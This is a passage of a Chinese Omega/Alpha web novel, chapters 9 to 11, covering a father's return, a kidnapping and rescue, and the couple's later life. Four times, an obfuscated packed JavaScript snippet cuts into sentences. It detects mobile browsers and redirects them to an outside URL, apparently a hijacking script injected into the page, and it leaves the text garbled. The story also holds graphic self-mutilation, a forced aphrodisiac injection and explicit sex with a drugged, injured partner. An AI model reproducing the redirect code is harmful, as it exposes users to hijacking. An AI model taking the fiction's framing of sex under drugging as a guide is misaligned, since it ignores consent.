十多年未见,猝然见到彼此,沈钰和应翼都有几秒的错愕和惊忡。 短暂的静默过后,那个被沈文琅牢牢护在身后的Omega突然冲向沈钰。 他比十几年前瘦了许多,但耐不住骨架优越,比例极好,硬生生把一身普通的卡其色的工装,穿得宽肩窄腰。 他弓身冲向Alpha的样子,让沈文琅联想起此前去非洲度假时看到的猎豹。 它爆发力迅猛,动作矫健轻盈,紧绷的肌肉优美流畅,充满鲜活的生命力。 快被外界吹捧成战神的沈钰,在真正的“战神”面前,好像也不过如此。他呆站地望向失而复得的Omega如同一支离弦的箭,急速向他扑来。沈钰像被人点了穴道一样,站在原地,生挨了Omega狠狠地一拳。 嘶。 不远处的沈文琅看得目瞪口呆,忍不住替沈钰倒吸了一口凉气。 看得出来,应翼这一下一点力道都没收, 沈钰被一拳打中,打得脸都偏侧过去,嘴角以肉眼可见的速度迅速地肿胀。 应翼的身体大概不怎么样,牟足力气狠揍了沈钰一拳后,便开始微微气喘,忍不住咳了起来。 沈钰的脸色一下子变得很坏,眼眶和鼻尖一样发红。 要不是沈文琅深知他的脾性,简直都要怀疑他是不是也快要哭了。 “翼哥。”那个一脚可以踢断亲生儿子四根肋骨,连眼睛都不带眨一下的冷血Alpha红着眼,带着几不可闻的鼻音叫Omega的名字。 “我让你照顾文琅。”应翼像头愤怒的公狮,声音不大还带着咳喘的哑,气势却如同咆哮:“沈钰,你就是这样照顾他的?” 因他简短的句话,沈钰的神色罕见地立马动摇,他死死盯住应翼的脸,说:“我从没有答应过你。” 想抛下他和孩子就这么独自牺牲,还妄想他善待他们的孩子?不可能,永远不可能。 沈钰绝不会让应翼一人安心赴死,除非,他带他一起去。 ...... 沈文琅从未想过,这辈子还能再见到应翼。 更没想过,会以这样一种方式,不是梦,而是一个活生生、站在他面前,还能动手打人的Omega父亲。 这太荒唐了。 他曾亲耳听人说,应翼是在监狱里死的,死于Alpha的枪口下,死得干净、彻底、毫无悬念,就像他这十几年来一次次在脑海里告诉自己的那样:他已经死了。他早就死了。 他甚至以此为慰藉。 “死了也好,”那时候他告诉自己,“至少不再受折辱,不再哭着请求那个冷血Alpha的一点点温情,不再被关进发热期的隔离屋、不再出现在那些有情人明目张胆的场合。” 可现在,这个“死了”的人突然回来了,还一拳把沈钰打得嘴角红肿。 沈钰没还手。 那个一向视尊严高过性命的男人,居然真的站在原地被骂,被打,甚至……低声下气地叫了句“翼哥”。 沈文琅站在一旁,看着应翼一身工装、削瘦却挺直的背影,看着他咳嗽着喘着气,还不忘抬起下巴训人,看着他眼里积压了十几年的愤怒,终于有机会毫不遮掩地倾泻出来。 他忽然明白了什么。 他少年时那种猛烈的排斥、鄙夷、不解和痛恨,从来就不是真的因为应翼软弱、低微、没有尊严。 而是因为他根本承受不起失去。 是因为,他太爱了,才会那么恨。 是因为应翼死得太干净,太决绝,连半个解释都没有留给他,才逼得他要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256484|182072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用愤怒去抵抗那突如其来的空洞。 他从小就告诉自己,不要成为像应翼那样的Omega。他害怕依赖、厌恶温柔、对任何试图靠近他的人都抱着本能的警惕。因为在他的印象里,依赖意味着被丢弃,温柔意味着脆弱,而靠近,终将是一场撕心裂肺的告别。 可现在,那个人站在那里,站在沈钰面前,也站在他的过去与现在之间。 沈文琅一下子有些恍惚。 他意识到,也许他从未真正理解过那对父母的关系。也许,应翼不是沈钰的附属品,也不是自甘堕落的倒贴货,而是个明知道不会被温柔以待,却仍不惜以命相护的疯子。 而沈钰,也不是他想象中的冷血机器。 他们的关系,远比他想象中更混乱,也更真实。 那不是单纯的支配与服从,不是玷污与被玷污,不是互相伤害的两个失败者。 那是两个生来带刺的野兽,彼此撕咬、拉扯、互相伤害又无法放手的纠缠。 而他,作为他们的孩子,是那个从未被允许看懂这一切的人。 现在他终于看懂了,可那种“懂”的瞬间,却比他以为的“仇恨”更让人无所适从。 他第一次动摇了。 他最开始对Omega的厌恶,对高途的警惕,对温情的排斥,原来都不是本能,而是一种扭曲后的自我保护。 原来他也曾依恋过、渴望过、等待过,只是那个他等待的人,来得太晚,晚到他几乎已经不再相信会有人回来。 可现在,他回来了。 应翼活着,所有他自以为认定的事实都坍塌了,而那些他拼命压制的情感,也一并被从废墟下挖了出来。 连带着他自己,也被这场“重逢”撕开了裂口。 他不是没爱过那个Omega父亲,他是太爱了。 只是那份爱,被压抑得太久,伪装得太狠,连他自己都忘了那是什么模样。 就在沈文琅还没从意识塌方的混乱中完全缓过神来时,应翼突然站起身来,动作干脆利落得不像刚才还在咳嗽的人。 他抬手理了理袖口,目光锋利地扫过室内,最后落在沈文琅脸上,忽然弯起眼睛,笑得像极了十几年前那个倔强骄傲,明明浑身是伤还要挺着腰板的年轻Omega。 “走吧,小狼崽。” “我知道高途在哪里,我带你去。” 沈文琅怔住了:“爸爸……” “废话少说,”应翼已经迈步向外走。 沈文琅呼吸一紧,猛地站起,刚要追出去,身后突然传来沈钰那句带着点委屈又无奈的喊声:“翼哥——” 应翼脚步没停,连头都没回,语气冷得像刀锋擦过铁皮:“闭嘴。” 他顿了顿,又补了一句,话音快且凶狠—— “等把我儿媳妇找回来再收拾你。” 屋内顿时陷入一种诡异又令人兴奋的沉默。 沈文琅大脑宕机了整整三秒,终于从“我儿媳妇”四个字里反应过来,下意识看了沈钰一眼,有点子幸灾乐祸。 老头子也有吃瘪的时候。 那位刚才还威风凛凛的沈家家主板着一张脸站在原地,唇角抽搐,似要辩解,又似憋着什么,最后只闷声哼了一声。 9. 第九章 十几年前,沈文琅的Omega父亲应翼在入籍P国后,曾以史上最年轻的将军身份远赴Y国谈判,成功平息了两国之间的边境摩擦,阻止了一场迫在眉睫的热战。 坊间一度传言诺贝尔□□曾有意提名应翼,却被他婉拒。 尽管他早前便以“已故”之名彻底退出公众视野,但凭借其出身背景与在军方的影响力,查找一个人,对他而言并非难事。 仅几分钟,应翼便通过军方的安全通道与专属权限,锁定了高途的实时位置。 他低头凝视地图屏幕上闪烁的红色信号点,神情冷静锐利,语气沉稳:“西南边境防务基地辖区的灰区地带,有一座废弃旧仓库。他们暂时还没离开。” 正值冬日正午,阳光冷冽刺眼,越野车飞驰在蜿蜒崎岖的山路上。空气干燥沉静,天地一片肃穆,仿佛一切都被冰封在寒光之中。 应翼坐在驾驶席上,神色凝重,指尖飞快地在车载终端上操作,将目标定位同步发送至花咏、P国警方与国际联合调查队。 在确认各方均已接收坐标后,他微微松开一直绷紧的手腕,随即一脚踩下油门,车辆轰然加速,冲入前方幽深笔直的隧道之中。 …… 车内只剩轮胎与地面摩擦的低鸣,气氛像一根紧绷的琴弦。应翼察觉到沈文琅的神经仍在崩裂边缘,余光扫向副驾驶,终于开口: “你是不是一直觉得,我和你Alpha父亲之间……是错的?” 沈文琅沉默不语。 应翼继续道:“你父亲与我并非外界传闻的‘权力与囚禁’。我们确实因军方科研任务结识,但也确实彼此动了真情。” “可后来,家族利益、军火生意,还有匹配度的落差,一点点把这段关系压垮了。爱变了质,变成了控制与执念。我试过很多次抽身,每次都被他用更极端的方式留住。” “我假死隐退,是为了从他手里彻底逃脱,也为了保护你。” “却没想到给你造成了更大的伤害。” “对不起小狼崽。” 沈文琅微微睁大双眼,鼻头有些发酸,他别开视线。 应翼轻轻一笑,语气温和却听得沈文琅心头发寒,此刻感觉契合度低算得了什么,跟沈钰相配的只能是应翼。 “他一次又一次,把我关起来,不让我走。” “他太坏了,坏到骨子里。” “但他将我关起来的时候又何尝不是关住了他自己。我们那时候都还太年轻。” “这怎么不算爱呢。” “……我真的以为你死了。”沈文琅低声开口,嗓音沙哑,像风吹过沙地。 “我确实差点死了。”应翼打断他,语气平淡,“但你活着,我舍不得。” 这番话如同锋利却克制的手术刀,精准剖开沈文琅固执多年、非黑即白的病灶。 他握紧拳头,指节泛白:“……所以,我一直误会你?” “你误会的,不只是我。”应翼将车辆切入手动档,眼神未离前方,“还有你自己。” 冷冽的冬日风从车窗灌入,应翼低声说:“这些年我一直在看你。你小时候倔得要命,我记得。长大以后,你越来越像他,我也看得见。” 他看向前方尽头隐约闪烁的信号灯,低声补充,“但幸好。”他顿了顿,语气忽然柔下来,“幸好你遇到了高途。” 沈文琅猛然抬头。 “我一直在想,如果没有高途,你可能真的会变成你Alpha父亲那样的人。” “但没有。”应翼看着前方的路,语气里带着不加掩饰的欣慰,“他爱你,也保护你,从不依赖你,从不打扰你。但他一直在你身边,默默地,坚定地跟着你。他尊重你,从未试图驯服你。” “你一直以为你讨厌Omega,其实不是。你只是害怕爱。你怕依赖,怕温柔,因为你从小看到的,是Omega一旦动情,就会被践踏。” “正因你不是你父亲,你才会害怕失去高途,才会在寻找他时不惜撕开所有伤口。而是高途,让你明白一个人可以坦然被爱,也可以温柔去爱。” 一句话像撞击胸腔的闷雷。沈文琅眼眶蓄起酸涩,竭力仰头,却终究压不住剧烈的颤抖。 他终于放下了那长达十多年的戒备。 他不是在哭高途,不全是。他哭的是那场从未真正理解过的父母爱情,哭的是应翼突然出现替他挡下所有痛苦的温柔,哭的是这几日寻找高途时无止尽的恐惧,终于有了出口。 “爸……”他哑着嗓子喊了一声。 应翼没说话,只用空闲的一只手稳稳扣住他的肩膀,让他在安全带束缚中保持呼吸平稳。 “你是我和他最好的部分。”应翼轻声道。 “你值得爱,也值得被好好爱。” 前方,一条通往灰区仓库的小路在冷白的日光下渐渐显现。救援队已包围目标区域。 沈文琅深吸一口气,拭去泪水,神情依旧倔强,却不再绝望。 那段被撕裂的亲情,正在寒风中慢慢缝合。伴随引擎轰鸣,他们驶向被寒光照亮的黎明。 此时,灰区仓库深处,高途被锁在角落的一根铁柱旁,空气中弥漫着腐锈与油脂混杂的潮湿气味。花四疯疯癫癫地笑着,亲手将一根铁链扣在了高途的脖颈上,锁扣“咔哒”一声合上。 就在这时,高途身体忽然一阵猛烈抽搐,脊背贴着冰冷水泥墙,极力忍住低喘。他的发热期,在这一刻猝不及防地爆发了。 由于他没有被沈文琅永久标记,每次都只是临时标记,发热期来临时靠亲密接触或信息素安抚勉强压制生理反应。但这次不一样。 高途已经太久没有见到沈文琅,也再没有得到那道Alpha气息的安抚。精神绷得太久,身体早已悄悄积压了超出负荷的波动。现在,在惊吓、羞辱与恐惧多重刺激下,他的体温节节升高,喉咙发紧,四肢颤抖。 那份被他死死压制的Omega本能,终于在这残酷的环境里,彻底失控。 淡淡的鼠尾草香气骤然在封闭空间中扩散开来,带着几近致命的诱导力,像燃起的焰火般灼烧每一寸空气。 高途痛苦地蜷缩起来,指甲死死抠住地面,额头冷汗淋漓,身体却热得仿佛在焚烧。他的瞳孔逐渐失焦,却仍死死咬住下唇, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256485|182072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不让自己发出一点求助的声音。 花四像是突然变得狂躁,兴奋得眼珠发红,嗓音低沉而恶毒: “哈……你这味儿真够烈的。” 他抬起脚,踢了踢高途发颤的身体,低头看着他狼狈的样子,笑得扭曲。 “虽然我不太懂沈文琅他父亲们那点破事,但他为什么厌恶Omega我多少知道点……啧。”他咂了咂嘴,举起链条晃了晃,“你说啊,要是他看见你现在这样,被我这根链子拴着,发热发得像只发情的小狗,还哭着求别人上你……他以后,还能接受你吗?” “你们坏了我的事,那就都得陪着一起烂。” “我今天死也要拉着你们一起下地狱,别做梦谁能全身而退。” 说完,他从怀中掏出一支灰白色注射器,露出狰狞的笑容: “知道这是什么吗?P国黑市夜场专供的催情剂,专门针对Omega,强制提升信息素活跃度,剂量大的时候能把你烧成疯子。” “我之前就给花咏下过药,老子什么事不敢干?” 话音未落,他粗暴地抓住高途的手臂,将针头毫不犹豫地扎进血管。药剂推进体内那一刻,高途身体一震,喉咙里发出痛苦的呜咽。 “来,热闹点。”他回头冲着两个手下吩咐,“你们也别愣着,一起上。” “……四少,这不太好吧。”其中一人声音发抖,显然也被眼前疯狂的景象震住了。 高途的呼吸越来越混乱,体温飙升,心跳仿佛要从胸腔炸裂。他几乎快被信息素和药物双重驱使得失去理智,却在那一瞬间做出了一个令人胆寒的举动。 他猛地抬起手臂,几乎没有犹豫,像野兽般用牙狠狠撕咬向自己左腕动脉—— 皮肉被咬裂的那一瞬,血管随之撕断,鲜血喷涌而出,像骤然决堤的水流,溅满他胸口与地面。浓烈的血腥味在仓库中迅速弥漫,温热的血液顺着手臂奔流,浸透了衣袖,顺势滴落在铁链上,染得铁锈色发黑发红,触目惊心。 他还不肯停,喉间发出嘶哑的喘声,咬开的创口越撕越大,手肘以下几乎皮开肉绽,肌肉暴露在外,血液沿着指尖一滴滴砸在地上,甚至渗进水泥缝隙。 他像要用这剧烈的痛感,把体内那一股随时要将他吞没的炽热本能生生扯碎。 这一幕之狠绝,连站在旁边的两个手下都愣住了,脸色惨白,一时间竟没人敢靠近。 突然“砰!”的一声闷响,仓库外传来爆破般的冲击。接着,是几枚震爆弹接连飞入,强光与高频声波瞬间撕裂空气。 几人尚未回过神来,花四已经被一记重击扑倒在地,肩膀中枪,手里的链条脱手滑落。 混乱中,特勤队员破门而入,迅速制服所有人。仓库内回荡着士兵低沉的命令声与武器上膛的机械响动。 在高途彻底失去意识前一刻,他看见一道熟悉的身影冲进光里, 沈文琅,脸色苍白,眼中满是杀意与惊惶。 他听不见他说了什么,也来不及回应,只觉得有一双手死死抱住他,掌心在他背后颤抖不止。 那一瞬,他终于允许自己昏过去。 10. 第十章 医疗队迅速冲入仓库,在确认安全后第一时间展开救治。两名医护上前检查高途的伤口,一边消毒处理,一边迅速为他止血,缝合破裂的血管。 担架被推进来,有人示意要将高途抬上去,但沈文琅死死抱着他,怎么都不松手。 医生没敢强行,只能先为两人分别注射了静脉补液和营养支持。从体征来看,他们已超过三十小时未进食,出现明显脱水与低血糖迹象,需要紧急补充基础能量与电解质。 高途缓缓睁开眼,眼神依旧迷离虚弱,唇角干裂,嗓子里几乎发不出声音。 医生蹲下身,拿起那支被丢在角落的黑市药剂,眉头皱得死紧。他立刻调出一支缓解型注射液推入高途体内,暂时稳定住因催情剂造成的神经性应激反应。 “这种药剂是非法高浓度诱导型,副作用强烈。”他对沈文琅低声道,“解药只能缓解症状,无法彻底清除药物残留。想真正抑制信息素暴动,只能……” 他停顿了一下,斟酌着继续:“只能通过高匹配度Alpha的标记干预。能否成功,还要看彼此的接受程度。” 沈文琅没有回应,只是抱着高途,像被钉死在原地。 他跪坐在冰冷的地板上,怀里的人失血过多,身体一片冰凉,手臂缠满血迹与绷带,连呼吸都轻得几不可闻。空气中残留着微弱的信息素气息,那熟悉的鼠尾草香,如今却混杂着痛苦与濒死的温度。 他贴着高途的额头,声音哑得不像他自己,几近失控地喃喃开口: “……你疯了吗?你他妈到底在干什么……” 他抱得更紧了,低头抵住高途的额头,整个人仿佛正在发抖,像一块随时要碎裂的冰。 “小兔子,我不永久标记你,不是因为我不爱你,是我不敢,我真的不敢。” “我太爱你了,才不敢。” “我怕你会变得像他,怕你标记之后不再是你自己。怕你像我的Omega爸爸一样,被困在一个Alpha身边,被需要、被掌控、被消耗。” “我小时候看到的他们,根本没有爱。那不是平等的关系,是一种附属,是困住彼此的牢笼。” “我以为,只要我小心一点,只做临时标记,不越界……你就能自由一点,不会像他们一样活得那么苦。” “我以为那是保护。可现在我才知道,那其实是懦弱。” 他声音哽咽,眼泪止不住地落下,泪水滴落在地板上,与高途流下的血交融在一起。 他曾以为的父辈之间是一场失败的爱,是被压迫的服从,是注定会腐烂的枷锁。 可现在,他才明白,那是选择,是勇气,是深爱一个人时不惜与命运对抗的倔强。 他终于明白,自己从一开始,就错看了那份感情,也错看了自己的Omega爸爸。 他咬着牙,声音低哑得近乎撕裂: “是我没能接到那个电话,是我没在第一时间出现在你身边……” “是我以为自己安排得足够妥当,却亲手留你一个人在危险的地方。” “你不该一个人扛下来的,是我来晚了,是我错过了……是我没来得及。” 高途的胳膊上的纱布还在渗血,皮肤却透着不真实的苍白。他颤颤地举起另一只手,指尖带着微凉的触感,轻轻为沈文琅拭去脸颊上的泪。 “没事的,”他声音低哑,像羽毛一样轻柔,“不是你的错……真的不是。” 话音刚落,他忽然抽了一口冷气,整个人像被灼烧般弓起身体,痛苦的低喘从喉咙深处溢出。 那支黑市药剂的药效还未被完全中和,强制激发的信息素仍在体内躁动,像烈火灼烧每一寸神经。高途的身体开始不受控制地颤抖,额角冷汗层层滚落,手指抓着沈文琅衣襟几乎要嵌进布料。 “……高途!”沈文琅立刻俯身,将他整个护在怀里,声音都变了调。 沈文琅迅速释放出自己的信息素。焚香鸢尾花的气息骤然蔓延。一股干净凌厉却温暖的气息,像罩下一层无形的帷幕,将高途彻底包裹住。 鼠尾草与鸢尾的信息素在空气中迅速交织,层层压制住那团被药剂搅乱的发热狂潮。 高途的喘息仍不稳定,但眼神逐渐恢复了些焦点,身体的战栗也一点点缓了下来。 这时,花咏从侧边快步而来,抬手向医疗与特勤队员挥了个手势,低声却毫不含糊地下达 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256486|182072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命令: “全员撤离,清场。” 面对好友感激的眼神,花咏微抬下颌:“交给你了。” 很快,仓库内的人员开始快速撤出,脚步声、通讯器杂音、担架与装备的移动声交织响起,又迅速远去。几分钟后,整座废弃仓库陷入安静,只剩风从破碎的玻璃缝中灌入,带起灰尘与旧金属的味道。 仓库里只剩下他们两人,四周安静得仿佛整个世界都被抽离,只有鸢尾与鼠尾草的信息素缓慢交织,悄无声息地包裹住这片残破空间。 沈文琅小心翼翼地将高途安置在医疗队留下的垫子上,他整个人跪在地上,低头吻住高途的眉心,指尖颤抖地抚过他因疼痛而紧蹙的眉头,喉咙发紧。 “……对不起,小兔子,对不起……” 他小心地解开高途的衣扣,指尖发颤,像是在触碰什么易碎的东西,连呼吸都放得极轻。 他不是没有想象过他们再在一起的画面,但从没想过会是以这样的方式,血、疼痛、几近死亡。 沈文琅毫不犹疑毫无保留地交出自己,带着悔恨、热烈与小心,缓缓地将自己全部嵌入那个因痛苦而发抖的身体。 高途单手搂住他,嘴唇发白,却始终温柔。 “虽然现在不是最好的时机……”他哑声说,“但我爱你。” 他俯下身,贴着高途的耳侧,几乎是恳求地问: “我可以……现在就永久标记你吗?” 高途望着他,眼底是一如既往的深情与信赖。他没有多说什么,只是轻轻点了点头,像一直以来那样,无声地把所有信任都交到他手中,从未动摇地爱着。 沈文琅眼眶一热,手指慢慢移向高途颈侧的腺体。那处皮肤已经微微泛红,信息素在浅层皮下隐隐鼓动,像在等待回应。他俯下身,轻轻吻了一下那处熟悉的位置,然后,咬下去。 鸢尾的信息素汹涌而出,不再是压抑、克制、若有若无的气息,而是一次彻底的释放。 高途猛地一颤,指尖紧紧攥住沈文琅的上臂,身体随着信息素的注入产生本能的回应。 “……因为是你,”他含泪低声,“什么时候……都是最好的时机。” 11. 第十一章(大结局) 沈文琅怔了一下,喉头一紧,低头吻住高途,深深地,吻得急切、失控,带着太多的愧疚、太迟的表达,还有那压抑太久的爱。他终于不再逃避,不再克制,也不再试图保护对方的方法里藏着恐惧和自私。 沈文琅的动作小心到近乎虔诚,他几次控制不住想更疯狂,却又立刻止住,只因高途手臂上的伤还在渗血,胸口的温度仍不稳。 他怕自己的力道太重,怕一不小心撕裂了那些尚未结痂的痛楚。 那是深深爱着一个人之后,才会对对方的脆弱与伤痕如此在意的谨慎。 高途始终望着沈文琅,眼神缱绻,像是怎么也看不够。哪怕伤口在欢爱中被牵动得一阵阵抽痛,痛到发颤时,他也只是用另一只手扣住沈文琅的手,像在告诉他,我没事,我在,我一直都在。 而沈文琅,在这场交织着忏悔与渴望的缠绵中,卸下这些天所有的不安与慌乱。他一遍一遍地吻着高途,一边在他身体里颤抖着、低声哭着。 “你不知道你对我多重要……我什么都不怕,就是怕你不在。” —— 高途艰难的倾身回吻着沈文琅的唇,眼角含着泪。 “我知道。” 这一刻,他们不是第一次拥有彼此,却是第一次如此坚定、不留退路地紧握住对方。失而复得之后的相拥,比任何一次都更深、更重。 他们是彼此命中的港,是早已注定的归属。 —— 由于高途是被非法挟持入境,P国警方联合江沪外交通道,为其开具了紧急人身豁免文件与单次通关许可。五周后,沈文琅与高途才一同回到江沪。 初春已至,樱花在校园里含苞欲放,空气中多了几分暖意。 花四落网的当天,江沪警方便与P国执法机关展开跨国联合行动。在靠近公海的一艘未登记货轮上,成功拦截正试图出境潜逃的鹰哥及其同伙。整条运输线被就地查封,涉案人员全部被押解回江沪,等待司法审判。罪证确凿,逃无可逃。 与此同时,花咏借此机会将花家内部盘踞多年的旧势力彻底清洗干净。他以最快的速度重组了整个家族的核心权力结构,制定了一套新规,不再默许家族成员以家族名义涉入任何黑灰色产业链,无论是地下渠道还是非法交易。 高途则被安置在P国最权威的私立医院,医疗团队不仅处理了他体表的撕裂伤,更着重修复信息素系统与神经应激反应所带来的后遗症。 可即便如此,沈文琅还是不放心。 医生最初评估两周内便可出院,沈文琅却坚持将康复期延长到五周。 “等你完全好了,我们再回去,不急,你的身体最重要。”沈文琅抱着怀里的高途轻吻着他说。 从这件事之后,沈文琅再也不克制对高途的爱了。想说什么就直接说,想抱就抱,想亲就亲,再也不把那些心意藏在心里。 这一切都很新鲜,对高途来说,却比任何安慰都来得真实。 与此同时,HS集团总部的迁移也接近尾声,核心业务板块正式落地江沪。沈文琅大部分时间都守在病房,干脆在角落安了张临时办公桌,一边远程处理人事与重组事务,一边时不时抬头看看高途的状态。再忙,他都没再离开过高途身边超过六个小时。 沈文琅给他们俩都换了新手机,情侣款,还挂了情侣吊坠,高途的是只小狼,他的是只兔子。上次没接到电话的代价太过惨痛,因此沈总下了命令,只要是高途的来电,无论何时何地、无论他正在进行什么事务,哪怕是中断董事会会议,他的助理或者管家都必须在第一时间将手机送到他面前。 “其他电话可以等,只有他的,一秒都不能错过。”他不容置疑的说。 —— 回到江沪时,下半学期已开学一个多月。 两人一同前往教务处递交了医疗及警方相关证明,校方特批他们暂缓返校的申请,并提供了补课与延期答辩的特别通道。 他们终于可以松一口气,一起走入这段人生的最后一段校园时光。 那日阳光极好,校园里的风吹动新叶。教学楼反射出柔和光线,沈文琅和高途站在熟悉的校道上,一起迎风而立。 他们,还在彼此身边。 —— “老婆,来公司帮我吧。” 沈文琅覆在高途身上,大脑袋在高途颈窝里蹭个没完,鼠尾草混合鸢尾就是世界上最好闻的气味。 高途刚被折腾过,浑身黏糊糊的,又乏力的很,他推了几把没推开。 “来嘛,兔兔老婆。”沈文琅边说边不老实地含住高途的耳珠,吮吻。 高途浑身一机灵:“不,不行。”屁股好痛,后脖颈也好痛,不能再做了。 沈文琅轻笑一声,对着那敏感的耳洞吹了口气:“那你答应我,来帮我,我一个人不行的。” 高途难耐地仰起头,紧紧搂住胸前的大脑袋,他喘息着不作回答。 “来嘛,只要你说一声……” 高途发热期刚过,比沈文琅还要忙碌地离开家,也没跟他说去干什么,沈文琅磨蹭到下午才回到公司,今天有一场面试,上午由秘书处主导,下午需要他亲自出面。 “沈总,这是进入面试最终环节的人员简历。” 沈文琅随手翻着,突然一个熟悉的名字跃入眼帘。 高途。 心中情绪莫名涌动着,这时,会议室大门被推开,西装革履的青年走到中央,对着面试官们鞠躬,脸上带着得体的微笑。 “您好,我是高途。” HS集团董事长秘书组由六位藤校毕业的高材生组成,正副组长更是拥有博士学位。重金聘请,配置顶尖,称得上是最专业的团队。 可自从高途来了以后,沈文琅就渐渐觉得,博士也好,藤校也罢,还是老婆最好。 —— 盛放生物与HS集团同属生物科技领域,方向却各有侧重。盛放掌握核心专利“基因剪刀”(CRISPR-Cas9),专注底层基因编辑技术;而HS则在应用端独树一帜,他们知道剪哪一段基因能实现特定功能,由此迅速崛起,在短时间内成为江沪乃至全国最受瞩目的生技独角兽。 尽管双方在技术层面高度互补,也多次探讨深度合作,但始终因“股权互换”不成、经营理念不合,合作谈判反复搁浅。盛放总裁盛少游更曾公开表示与HS“水火不容”,可现实里,一些联合项目仍在推进,彼此关系复杂得像一场博弈。 而HS的飞速发展背后,离不开X控股的现任当家花咏的推动。如今在P国的家族事务处理告一段落,他便立刻带着私人目的来到江沪,还开口要沈文琅帮忙演戏。 “我靠,你这个疯子跑来江沪追人,关我屁事?” 听到这事,沈文琅当场火气直冲天:“凭什么要我陪你演戏?你要是把我和盛少游的合作搅黄了,到最后收拾烂摊子的还是我!” 他站在落地窗前冷笑一声,转过头,语气忽地低了几分:“……我老婆要是吃醋了怎么办?” 高途走过来把刚泡好的白茶轻轻的放在办公桌上,顺手一边整理文件,一边笑着说:“没事的沈总,我不会吃醋的。你放手去帮忙吧。” 这话一出口,沈文琅脸色更黑了。 他妈的当时在P国,要不是花咏家那堆烂事,你会伤得那么重? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256487|182072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !还帮他! 他低头盯着高途,喉结滚了滚,眼神沉得吓人,一把揽住高途的腰将人拉进怀里,狠狠地圈住不放。 高途接过电话,感谢了花咏在P国的帮助,也答应下来,在这边帮助花咏。 可电话那头还没讲几句,沈文琅已经开始不安分地在他脖间啃吻。 高途一手揉推着他的头,一边努力稳住呼吸,让自己讲话时语调听起来正常:“……是,我会转达给沈总的。” “……你要是不说话,我早就把那疯子拉黑了。”沈文琅没好气的嘟囔。 “盛少游那种富二代狗崽子有什么好追的?” 作为Enigma花咏的听觉敏锐度是普通Alpha的数倍有余。电话那头,花咏慢悠悠回了句:“你不也是吗,而且你亲高秘书的声音好大,好吵。我不打扰高秘书了,也就他会喜欢你。” 沈文琅脸一黑,果断挂断电话。 下一秒,他就握住高途还拿着手机的那只手,按在办公桌上,声音低哑却带着黏人的恼意:“小兔子……‘沈总’?还‘不会吃醋’,嗯?” 话音落下,他低头狠狠吻住高途,舌尖带着掠夺感,充满攻击性地攻入他口中,吻得高途一个字都说不出来,只能发出阵阵呜咽声,脸因为缺氧慢慢开始泛红。 手机被沈文琅甩到电脑前,手不安分的伸进高途的衬衫里,沿着薄薄的肩线一路向下,掌心掠过他结实充满线条的胸肌。 高途被他刺激的不行,身体剧烈的发生反应,开始加重喘息,整个人迅速发烫,回吻也变得愈发热烈。 可意识的最后一丝清明还在,他费力地压住声音,带着克制的颤意,挣扎着提醒:“沈文琅……啊……外面,还有人……” 话还没说完,唇就又被堵住。 沈文琅低头轻咬他的下唇,像在惩罚他分心。 “那你叫轻点。” 他抱起高途,一步不停地把人扛进休息室,门在身后“啪”的一声被反锁。 随即便是桌椅轻响、衣物滑落的细碎声响,和一道几乎是咬着唇憋出的喘息。 沈文琅动作急切得像要把之前所有的不满都发泄出去。 从始至终,沈文琅都咬着一句话不肯放过: “说什么‘不会吃醋’……你要真不吃,我是不是该生气了?” 最终,看在高途的份上,他还是勉勉强强地点了头,算是答应帮花咏那个小疯子去追盛少游。 —— 大学毕业一年后,HS公司运作早就上了轨道,市场业务和科学研发都非常顺利。股价稳定,工作顺心。 最重要的是,老婆每天都在身边。 一切看起来都很好,甚至可以说,完美。 正常来说,沈文琅理应心情愉快,十分轻松。 但最近,他总是反复做着同一个梦。 梦里,高途一个人躲在公司卫生间,动作熟练地给自己注射抑制剂。 梦到自己对高途恶语相向,梦到高途一个人承担着所有。 梦见他孤零零地躺在医院的产床上,血染了满床。 每次从梦里惊醒,他都会第一时间抱住身边的人,带着一种本能的惶恐。 还好,还在。还在我怀里。是梦,是梦。 沈文琅低头贴住高途的额头,声音沉沉地,带着无法抑制的爱与恐惧:“别再梦里跑了。你跑一次,我疯一次。” 不能再等了。 